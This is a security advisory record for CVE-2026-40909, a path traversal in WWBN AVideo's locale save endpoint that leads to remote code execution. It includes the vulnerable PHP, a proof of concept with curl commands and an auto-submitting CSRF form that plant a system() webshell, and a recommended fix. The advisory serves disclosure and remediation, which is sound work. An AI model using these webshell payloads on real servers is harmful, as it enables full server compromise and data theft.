CVE-2026-40909: Wwbn/avideo Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6rc6-p838-686f",
  "modified" : "2026-04-24T20:30:17Z",
  "published" : "2026-04-14T22:49:48Z",
  "aliases" : [ "CVE-2026-40909" ],
  "summary" : "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)",
  "details" : "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 — only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {\n    // ...\n    die(json_encode($obj));\n}\n\n// locale/save.php:16 — base directory\n$dir = \"{$global['systemRootPath']}locale/\";\n\n// locale/save.php:30 — UNSANITIZED path concatenation\n$file = $dir.($_POST['flag']).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 — UNSANITIZED content write\nfwrite($myfile, $_POST['code']);\n```\n\n**Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n<?php\nglobal $t;\n{$_POST['code']}  // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?><?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b 'PHPSESSID=<admin_session>' \\\n  -X POST 'https://target/locale/save.php' \\\n  -d 'flag=../../webshell&code=$t[\"x\"]=1;?><%3fphp+system($_GET[\"c\"]);'\n\n# Step 2: Execute commands via the written webshell\ncurl 'https://target/webshell.php?c=id'\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n<html>\n<body>\n<form method=\"POST\" action=\"https://target/locale/save.php\">\n  <input type=\"hidden\" name=\"flag\" value=\"../../webshell\">\n  <input type=\"hidden\" name=\"code\" value='$t[\"x\"]=1;?><?php system($_GET[\"c\"]);'>\n</form>\n<script>document.forms[0].submit();</script>\n</body>\n</html>\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php — after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid token\");\n    die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST['flag']); // strip directory components\nif (empty($flag) || preg_match('/[^a-zA-Z0-9_\\-]/', $flag)) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid locale flag\");\n    die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . '/' . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n    $obj->status = 0;\n    $obj->error = __(\"Invalid file path\");\n    die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40909"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:49:48Z",
    "nvd_published_at" : "2026-04-21T20:17:03Z"
  }
}